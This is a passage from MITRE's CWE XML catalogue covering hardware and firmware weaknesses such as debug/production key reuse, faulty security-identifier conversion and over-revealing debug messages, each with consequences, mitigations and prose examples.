					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1291" Name="Public Key Re-Use for Signing both Debug and Production Code" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>The same public key is used for signing both debug and production code.</Description>
			<Extended_Description>
				<xhtml:p>A common usage of public-key cryptography is to verify the integrity and authenticity of another entity (for example a firmware binary). If a company wants to ensure that its firmware runs only on its own hardware, before the firmware runs, an encrypted hash of the firmware image will be decrypted with the public key and then verified against the now-computed hash of the firmware image. This means that the public key forms the root of trust, which necessitates that the public key itself must be protected and used properly.</xhtml:p>
				<xhtml:p>During the development phase, debug firmware enables many hardware debug hooks, debug modes, and debug messages for testing. Those debug facilities provide significant, additional views about the firmware's capability and, in some cases, additional capability into the chip or SoC. If compromised, these capabilities could be exploited by an attacker to take full control of the system.</xhtml:p>
				<xhtml:p>Once the product exits the manufacturing stage and enters production, it is good practice to use a different public key. Debug firmware images are known to leak. With the debug key being reused as the production key, the debug image will also work on the production image. Thus, it will open all the internal, debug capabilities to the attacker.</xhtml:p>
				<xhtml:p>If a different public key is used for the production image, even if the attacker gains access to the debug firmware image, they will not be able to run it on a production machine. Thus, damage will be limited to the intellectual property leakage resulting from the debug image.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
			  <Related_Weakness Nature="PeerOf" CWE_ID="321" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Scope>Access Control</Scope>
					<Scope>Accountability</Scope>
					<Scope>Authentication</Scope>
					<Scope>Authorization</Scope>
					<Scope>Non-Repudiation</Scope>
					<Scope>Other</Scope>
					<Impact>Read Memory</Impact>
					<Impact>Modify Memory</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Varies by Context</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
				<Detection_Method>
					<Method>Architecture or Design Review</Method>
					<Description>
						<xhtml:p>Compare the debug key with the production key to make sure that they are not the same.</xhtml:p>
					</Description>
					<Effectiveness>High</Effectiveness>
					</Detection_Method>
				<Detection_Method>
					<Method>Dynamic Analysis with Manual Results Interpretation</Method>
					<Description>
						<xhtml:p>Compare the debug key with the production key to make sure that they are not the same.</xhtml:p>
					</Description>
					<Effectiveness>High</Effectiveness>
				</Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Use different keys for Production and Debug</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>This example illustrates the danger of using the same public key for debug and production.</Intro_Text>
					<Example_Code Nature="Bad" Language="Other">
					    <xhtml:p>Suppose the product design requires frugality of silicon real estate. Assume that originally the architecture allows just enough storage for two 2048-bit RSA keys in the fuse: one to be used for debug and the other for production. However, in the meantime, a business decision is taken to make the security future-proof beyond 2030, which means the architecture needs to use the NIST-recommended 3072-bit keys instead of the originally-planned 2048-bit keys. This means that, at most, one key can be fully stored in the fuses, not two. So the product design team decides to use the same public key for debug and production.</xhtml:p></Example_Code>
					<Example_Code Nature="Informative" Language="Other">
					    <xhtml:p>Increase the storage so that two different keys of the required size can be stored.</xhtml:p></Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Content_History>
				<Submission>
					<Submission_Name>Parbati Kumar Manna, Hareesh Khattri, Arun Kanuparthi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-05-26</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1292" Name="Incorrect Conversion of Security Identifiers" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>The product implements a conversion mechanism to map certain bus-transaction signals to security identifiers. However, if the conversion is incorrectly implemented, untrusted agents can gain unauthorized access to the asset.</Description>
			<Extended_Description>
				<xhtml:p>In a System-On-Chip (SoC), various integrated circuits and hardware engines generate transactions such as to access (reads/writes) assets or perform certain actions (e.g., reset, fetch, compute, etc.). Among various types of message information, a typical transaction is comprised of source identity (to identify the originator of the transaction) and a destination identity (to route the transaction to the respective entity). Sometimes the transactions are qualified with a security identifier. This security identifier helps the destination agent decide on the set of allowed actions (e.g., access an asset for read and writes).</xhtml:p>
				<xhtml:p>A typical bus connects several leader and follower agents. Some follower agents implement bus protocols differently from leader agents. A protocol conversion happens at a bridge to seamlessly connect different protocols on the bus. One example is a system that implements a leader with the Advanced High-performance Bus (AHB) protocol and a follower with the Open-Core Protocol (OCP). A bridge AHB-to-OCP is needed to translate the transaction from one form to the other.</xhtml:p>
				<xhtml:p>A common weakness that can exist in this scenario is that this conversion between protocols is implemented incorrectly, whereupon an untrusted agent may gain unauthorized access to an asset.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
                <Related_Weakness Nature="ChildOf" CWE_ID="1294" View_ID="1194" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Bus/Interface Hardware" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>Such issues could be introduced during hardware architecture and design, then identified later during Testing or System Configuration phases.  </Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Such issues could be introduced during hardware implementation, then identified later during Testing or System Configuration phases.  </Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Scope>Access Control</Scope>
					<Impact>Modify Memory</Impact>
					<Impact>Read Memory</Impact>
					<Impact>DoS: Resource Consumption (Other)</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Quality Degradation</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Security identifier decoders must be reviewed for design inconsistency and common weaknesses.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
                    <Description>Access and programming flows must be tested in pre-silicon and post-silicon testing.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>
                        <xhtml:p>
                            Consider a system that supports AHB. Let us assume we have a follower agent that only understands OCP. To connect this follower to the leader, a bridge is introduced, i.e., AHB to OCP.
                        </xhtml:p>
                        <xhtml:p>
                            The follower has assets to protect accesses from untrusted leaders, and it employs access controls based on policy, (e.g., AES-Key registers for encryption or decryption). The key is 128 bits implemented as a set of four 32-bit registers. The key registers are assets, and register AES_KEY_ACCESS_POLICY is defined to provide the necessary access controls. 
                        </xhtml:p>
                        <xhtml:p>
                            The AES_KEY_ACCESS_POLICY access-policy register defines which agents with a security identifier in the transaction can access the AES-key registers. The implemented AES_KEY_ACCESS_POLICY has 4 bits where each bit when "Set" allows access to the AES-Key registers to the corresponding agent that has the security identifier. The other bits from 31 through 4 are reserved and not used. 
                        </xhtml:p>
                        <xhtml:table>
                            <xhtml:tr>
                                <xhtml:td>
                                    Register
                                </xhtml:td>
                                <xhtml:td>
                                    Field Description
                                </xhtml:td>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>
                                    AES_ENC_DEC_KEY_0
                                </xhtml:td>
                                <xhtml:td>
                                    AES key [0:31] for encryption or decryption Default 0x00000000
                                </xhtml:td>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>
                                    AES_ENC_DEC_KEY_1
                                </xhtml:td>
                                <xhtml:td>
                                    AES key [32:63] for encryption or decryption Default 0x00000000
                                </xhtml:td>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>
                                    AES_ENC_DEC_KEY_2
                                </xhtml:td>
                                <xhtml:td>
                                    AES key [64:95] for encryption or decryption Default 0x00000000
                                </xhtml:td>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>
                                    AES_ENC_DEC_KEY_3
                                </xhtml:td>
                                <xhtml:td>
                                    AES key [96:127] for encryption or decryption Default 0x00000000
                                </xhtml:td>
                            </xhtml:tr>
                            <xhtml:tr>
                                <xhtml:td>
                                    AES_KEY_ACCESS_POLICY
                                </xhtml:td>
                                <xhtml:td>
                                    [31:4] Default 0x000000 [3:0] - 0x02 agent with Security Identifier "1" has access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_4 registers
                                </xhtml:td>
                            </xhtml:tr>
                        </xhtml:table>
                        <xhtml:p>
                            During conversion of the AHB-to-OCP transaction, the security identifier information must be preserved and passed on to the follower correctly.
                        </xhtml:p>
                    </Intro_Text>
                    <Example_Code Nature="Bad" Language="Other">
                        In AHB-to-OCP bridge, the security identifier information conversion is done incorrectly.
                    </Example_Code>
					<Body_Text>Because of the incorrect conversion, the security identifier information is either lost or could be modified in such a way that an untrusted leader can access the AES-Key registers.</Body_Text>
					<Example_Code Nature="Good" Language="Other">The conversion of the signals from one protocol (AHB) to another (OCP) must be done while preserving the security identifier correctly.</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-04-29</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1293" Name="Missing Source Correlation of Multiple Independent Data" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>The product relies on one source of data, preventing the ability to detect if an adversary has compromised a data source.</Description>
			<Extended_Description>
				<xhtml:p>To operate successfully, a product sometimes has to implicitly trust the integrity of an information source. When information is implicitly signed, one can ensure that the data was not tampered in transit. This does not ensure that the information source was not compromised when responding to a request. By requesting information from multiple sources, one can check if all of the data is the same. If they are not, the system should report the information sources that respond with a different or minority value as potentially compromised. If there are not enough answers to provide a majority or plurality of responses, the system should report all of the sources as potentially compromised. As the seriousness of the impact of incorrect integrity increases, so should the number of independent information sources that would need to be queried.</xhtml:p>
			</Extended_Description>
     		<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="PeerOf" CWE_ID="654" View_ID="1000"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>This flaw could be introduced during the design of the application or misconfiguration at run time by only specifying a single point of validation.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Such issues could be introduced during hardware implementation, then identified later during Testing or System Configuration phases.</Note>
				</Introduction>
				<Introduction>
				    <Phase>Operation</Phase>
				    <Note>This weakness could be introduced by intentionally failing all but one of the devices used to retrieve the data or by failing the devices that validate the data.</Note>
				</Introduction>
			</Modes_Of_Introduction>
		    <Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Impact>Read Application Data</Impact>
					<Impact>Modify Application Data</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Note>An attacker that may be able to execute a single Person-in-the-Middle attack can subvert a check of an external oracle (e.g. the ACME protocol check for a file on a website), and thus inject an arbitrary reply to the single perspective request to the external oracle.</Note>
				</Consequence>
			</Common_Consequences>  
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Requirements</Phase>
					<Description>Design system to use a Practical Byzantine fault method, to request information from multiple sources to verify the data and report on potentially compromised information sources.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
                    <Description>Failure to use a Practical Byzantine fault method when requesting data. Lack of place to report potentially compromised information sources. Relying on non-independent information sources for integrity checking. Failure to report information sources that respond in the minority to incident response procedures.</Description>
				</Mitigation>
			</Potential_Mitigations>
		<References>
            <Reference External_Reference_ID="REF-1125"/>
            <Reference External_Reference_ID="REF-1126"/>
            <Reference External_Reference_ID="REF-1127"/>
        </References>
			<Content_History>
				<Submission>
					<Submission_Name>Kurt Seifried</Submission_Name>
					<Submission_Organization>Cloud Security Alliance</Submission_Organization>
					<Submission_Date>2020-04-03</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1294" Name="Insecure Security Identifier Mechanism" Abstraction="Class" Structure="Simple" Status="Incomplete">
			<Description>The System-on-Chip (SoC) implements a Security Identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Identifiers are not correctly implemented.</Description>
			<Extended_Description>
                <xhtml:p>Systems-On-Chip (Integrated circuits and hardware
                    engines) implement Security Identifiers to
                    differentiate/identify actions originated from various
                    agents. These actions could be 'read', 'write', 'program',
                    'reset', 'fetch', 'compute', etc. Security identifiers are
                    generated and assigned to every agent in the System (SoC)
                    that is either capable of generating an action or receiving
                    an action from another agent. Every agent could be assigned
                    a unique, Security Identifier based on its trust level or
                    privileges.</xhtml:p>
                <xhtml:p>A broad class of flaws can exist in the Security
                    Identifier process, including but not limited to missing
                    security identifiers, improper conversion of security
                    identifiers, incorrect generation of security identifiers,
                    etc.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Bus/Interface Hardware" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
            </Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>Such issues could be introduced during hardware architecture and design, then identified later during Testing or System Configuration phases.  </Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Such issues could be introduced during hardware implementation, then identified later during Testing or System Configuration phases.  </Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Scope>Access Control</Scope>
					<Impact>Modify Memory</Impact>
					<Impact>Read Memory</Impact>
					<Impact>DoS: Resource Consumption (Other)</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Quality Degradation</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Security Identifier Decoders must be reviewed for design inconsistency and common weaknesses.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
                    <Description>Access and programming flows must be tested in pre-silicon and post-silicon testing.</Description>
				</Mitigation>
			</Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="121"/>
            <Related_Attack_Pattern CAPEC_ID="681"/>
         </Related_Attack_Patterns>
         <Notes>
			  <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2020-07-17</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1295" Name="Debug Messages Revealing Unnecessary Information" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product fails to adequately prevent the revealing of unnecessary and potentially sensitive system information within debugging messages.</Description>
			<Extended_Description>
				<xhtml:p>Debug messages are messages that help troubleshoot an issue by revealing the internal state of the system. For example, debug data in design can be exposed through internal memory array dumps or boot logs through interfaces like UART via TAP commands, scan chain, etc. Thus, the more information contained in a debug message, the easier it is to debug. However, there is also the risk of revealing information that could help an attacker either decipher a vulnerability, and/or gain a better understanding of the system. Thus, this extra information could lower the "security by obscurity" factor. While "security by obscurity" alone is insufficient, it can help as a part of "Defense-in-depth". </xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="200" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="PeerOf" CWE_ID="209" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Scope>Access Control</Scope>
					<Scope>Accountability</Scope>
					<Scope>Authentication</Scope>
					<Scope>Authorization</Scope>
					<Scope>Non-Repudiation</Scope>
					<Impact>Read Memory</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Varies by Context</Impact>
					<Likelihood>Medium</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Ensure that a debug message does not reveal any unnecessary information during the debug process for the intended response.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>This example here shows how an attacker can take advantage of unnecessary information in debug messages.</Intro_Text>
					<Body_Text>Example 1: Suppose in response to a Test Access Port (TAP) chaining request the debug message also reveals the current TAP hierarchy (the full topology) in addition to the success/failure message.</Body_Text>
					<Body_Text>Example 2: In response to a password-filling request, the debug message, instead of a simple Granted/Denied response, prints an elaborate message, "The user-entered password does not match the actual password stored in &lt;directory name&gt;."</Body_Text>
					<Body_Text>The result of the above examples is that the user is able to gather additional unauthorized information about the system from the debug messages.</Body_Text>
					<Body_Text>The solution is to ensure that Debug messages do not reveal additional details.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
				<Observed_Example>
					<Reference>CVE-2020-24491</Reference>
					<Description>Processor generates debug message that contains sensitive information ("addresses of memory transactions").</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2020-24491</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2017-18326</Reference>
					<Description>modem debug messages include cryptographic keys</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2017-18326</Link>
				</Observed_Example>
			</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="121"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1112"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Parbati Kumar Manna, Hareesh Khattri, Arun Kanuparthi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-05-31</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1296" Name="Incorrect Chaining or Granularity of Debug Components" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product's debug components contain incorrect chaining or granularity of debug components.</Description>
			<Extended_Description>
				<xhtml:p>For debugging and troubleshooting a chip, several hardware design elements are often implemented, including:</xhtml:p>
				<xhtml:ul>
				<xhtml:li>Various Test Access Ports (TAPs) allow boundary scan commands to be executed.</xhtml:li>
				<xhtml:li>For scanning the internal components of a chip, there are scan cells that allow the chip to be used as a "stimulus and response" mechanism.</xhtml:li>
				<xhtml:li>Chipmakers might create custom methods to observe the internal components of their chips by placing various tracing hubs within their chip and creating hierarchical or interconnected structures among those hubs.</xhtml:li>
				</xhtml:ul>
				<xhtml:p>Logic errors during design or synthesis could misconfigure the interconnection of the debug components, which could allow unintended access permissions.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>	
				<Language Name="Verilog" Prevalence="Undetermined"/>
				<Language Name="VHDL" Prevalence="Undetermined"/>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Processor Hardware" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Access Control</Scope>
					<Scope>Authentication</Scope>
					<Scope>Authorization</Scope>
					<Scope>Availability</Scope>
					<Scope>Accountability</Scope>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>Modify Memory</Impact>
					<Impact>Modify Files or Directories</Impact>
					<Likelihood>Medium</Likelihood>
					<Note>Depending on the access to debug component(s) erroneously granted, an attacker could use the debug component to gain additional understanding about the system to further an attack and/or execute other commands. This could compromise any security property, including the ones listed above.</Note>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
				<Detection_Method>
				<Method>Architecture or Design Review</Method>
				<Description>Appropriate Post-Si tests should be carried out at various authorization levels to ensure that debug components are properly chained and accessible only to users with appropriate credentials.</Description>
				<Effectiveness>High</Effectiveness>
				</Detection_Method>
				<Detection_Method>
				<Method>Dynamic Analysis with Manual Results Interpretation</Method>
				<Description>Appropriate Post-Si tests should be carried out at various authorization levels to ensure that debug components are properly chained and accessible only to users with appropriate credentials.</Description>
				<Effectiveness>High</Effectiveness>
				</Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Ensure that debug components are properly chained and their granularity is maintained at different authentication levels.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>The following example shows how an attacker can take advantage of incorrect chaining or missing granularity of debug components.</Intro_Text>
					<Body_Text>In a System-on-Chip (SoC), the user might be able to access the SoC-level TAP with a certain level of authorization. However, this access should not also grant access to all of the internal TAPs (e.g., Core). Separately, if any of the internal TAPs is also stitched to the TAP chain when it should not be because of a logic error, then an attacker can access the internal TAPs as well and execute commands there.</Body_Text>
					<Body_Text>As a related example, suppose there is a hierarchy of TAPs (TAP_A is connected to TAP_B and TAP_C, then TAP_B is connected to TAP_D and TAP_E, then TAP_C is connected to TAP_F and TAP_G, etc.).  Architecture mandates that the user have one set of credentials for just accessing TAP_A, another set of credentials for accessing TAP_B and TAP_C, etc. However, if, during implementation, the designer mistakenly implements a daisy-chained TAP where all the TAPs are connected in a single TAP chain without the hierarchical structure, the correct granularity of debug components is not implemented and the attacker can gain unauthorized access.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
				<Observed_Example>
					<Reference>CVE-2017-18347</Reference>
					<Description>Incorrect access control in RDP Level 1 on STMicroelectronics STM32F0 series devices allows physically present attackers to extract the device's protected firmware via a special sequence of Serial Wire Debug (SWD) commands because there is a race condition between full initialization of the SWD interface and the setup of flash protection. </Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2017-18347</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2020-1791</Reference>
					<Description>There is an improper authorization vulnerability in several smartphones.  The system has a logic-judging error, and, under certain scenarios, a successful exploit could allow the attacker to switch to third desktop after a series of operations in ADB mode. (Vulnerability ID: HWPSIRT-2019-10114).</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2020-1791</Link>
				</Observed_Example>
			</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="121"/>
            <Related_Attack_Pattern CAPEC_ID="702"/>
         </Related_Attack_Patterns>
         <Notes>
